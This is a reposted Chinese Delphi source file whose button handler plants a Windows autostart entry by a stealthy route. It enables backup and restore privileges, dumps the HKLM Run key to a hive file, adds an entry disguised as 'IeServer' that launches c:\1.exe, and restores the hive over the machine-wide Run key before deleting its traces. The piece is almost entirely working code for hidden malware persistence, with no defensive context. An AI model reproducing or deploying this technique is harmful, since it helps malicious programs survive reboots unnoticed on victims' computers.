本文整理自网络，侵删。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure SetPrivilege;
Const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV ='SeBackupPrivilege';
//SeBackupPrivilege 备份文件和目录。
//允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API时才检查这个特
//权。默认情况下，这个特权分配给Administrators和Backup Operators。
PRIV_SIZE = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len:DWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
end;
procedure SetPrivilege2;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
//SeRestorePrivilege
//恢复文件和目录。
//允许用户绕过文件及目录权限来恢复备份文件。默认情况下Administrators和Backup
begin
TP.PrivilegeCount:=1;
TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid:=lpLuid;
AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end;
CloseHandle(TokenHandle);
end;
function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
function SaveKey2(key:integer;subkey,filename:string):Boolean;
var
SKey: HKEY;
begin
SetPrivilege;
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
end
else
begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
end;
if SKey <> 0 then
try
Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally
RegCloseKey(SKey);
end;
end;
procedure regstore2(key:integer;subkey,hfile:string);
var
key2: hkey;
begin
SetPrivilege2;
if key=1 then
begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
end
else begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
end;
if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
RegCloseKey(key2);
end;
procedure regstore(exefile:string);
var
key:HKEY;
I:Integer;
begin
SaveKey2(2,PChar('SOFTWARE\Microsoft\Windows\CurrentVersion\Run'),'c:\1.hiv');
RegCreateKey(HKEY_CURRENT_USER,PChar('Software\fengzi'),key);
for i := 1 to 5 do regstore2(1,'Software\fengzi','c:\1.hiv');
addreg(HKEY_CURRENT_USER,'Software\fengzi','IeServer',exefile);
SaveKey2(1,PChar('Software\fengzi'),'c:\2.hiv');
for i := 1 to 5 do regstore2(2,PChar('SOFTWARE\Microsoft\Windows\CurrentVersion\Run'),'c:\2.hiv');
RegDeleteKey(HKEY_CURRENT_USER,'Software\fengzi');
RegCloseKey(key);
DeleteFile('c:\1.hiv');
DeleteFile('c:\2.hiv');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
regstore('c:\1.exe');
end;
end.
相关阅读 >>
Delphi在pagecontrol1上面的分页动态创建edit组件
Delphi unigui中如何监听session的开始与结束
更多相关阅读请进入《Delphi》频道 >>
